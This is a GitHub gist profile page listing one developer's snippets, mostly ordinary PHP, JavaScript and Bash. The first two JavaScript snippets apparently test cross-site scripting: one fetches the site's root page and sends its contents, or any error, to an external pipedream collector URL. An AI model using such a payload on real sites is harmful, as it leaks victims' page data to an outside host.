Skip to content

Instantly share code, notes, and snippets.

View Naouak's full-sized avatar
👻

Quentin B Naouak

👻
View GitHub Profile
<script type="javascript">
var oReq = new XMLHttpRequest();
oReq.open('POST', 'https://enr4iz1vymuof.x.pipedream.net/?');
oReq.send("test");
</script>
var oReq = new XMLHttpRequest();
oReq.addEventListener('load', function reqListener () {
this.src='https://enr4iz1vymuof.x.pipedream.net/?' + this.responseText;
});
oReq.open('GET', '/');
oReq.send();
} catch(e){
this.src= 'https://enr4iz1vymuof.x.pipedream.net/?' + e;
}
<?php
echo 0.1+0.2==0.3?'true':'false';
// false
echo strval(0.1+0.2)==0.3?'true':'false';
// true

Keybase proof

I hereby claim:

  • I am naouak on github.
  • I am naouak (https://keybase.io/naouak) on keybase.
  • I have a public key ASA2xrjA7VPfq06ppkd000hVcLWbSsBIzjgz0dCIH729Vwo

To claim this, I am signing this object:

@Naouak
Naouak / PdfRenderer.php
Created May 30, 2016 12:34
wkhtmltopdf
<?php
class PdfRenderer extends \mikehaertl\wkhtmlto\Pdf{
/**
* Add a page object to the output
*
* @param string $input either a URL, a HTML string or a PDF/HTML filename
* @param array $options optional options for this page
* @return static the Pdf instance for method chaining
*/
public function addPage($input,$options=array(),$type = null)
@Naouak
Naouak / matrix_multiplication.js
Created October 6, 2014 20:03
Matrices Multiplication
function multiply(a,b){
return a.map(function(v,i){
v.map(function(w,j){
var sum = 0;
for(var k = 0; k < v.length; k++){
sum+=a[i][k]*b[k][j];
}
return sum;
});
});
@Naouak
Naouak / words.sh
Last active August 29, 2015 14:06
Random French Noun generator Bash based on words frequency in corpus
#!/bin/bash
# Liste des mots disponible ici : http://www.lexique.org/telLexique.php
WORD_COUNT=$1
if [ -z "$WORD_COUNT" ]; then
WORD_COUNT=1
fi
LC_NUMERIC="C"
@Naouak
Naouak / maybebetter.js
Last active December 16, 2015 20:19
Serving static content on dynamic url with expressjs
//Create a module for static middleware instanciation with a singleton
//Use the same singleton for app.use and variable routing.
//If there is some caching stuff going on, they should share the same cache which is a lot better.
var express = require("express");
var static = null;
module.exports = function(){
if(!static){
static = express.static(__dirname+"/public");
}
@Naouak
Naouak / script.js
Created January 15, 2013 22:19
A short script that will inject on any animelist on MyAnimeList scores that are scaled from 0 to 10. It means that if your lowest score is 5, it will become 0. It also calculate some values that you may find interesting and put it in variables. To use it, just paste this in your chrome console when you are on an anime list.
var n = document.querySelectorAll(".animetitle");
var arr = [];
var min = null;
var max = null;
var total = 0;
var count = 0;
var noteCount = {};
for (var i = n.length - 1; i >= 0; i--) {
(function(n){
@Naouak
Naouak / gist:270df7ee30bc232e77b6
Created July 11, 2012 16:36
TextNode near Input finder
(function(){
function nativeTreeWalker() {
var walker = document.createTreeWalker(
document.body,
NodeFilter.SHOW_TEXT,
null,
false
),node,textNodes = [];
while (node = walker.nextNode()) {
if (node.nodeValue) {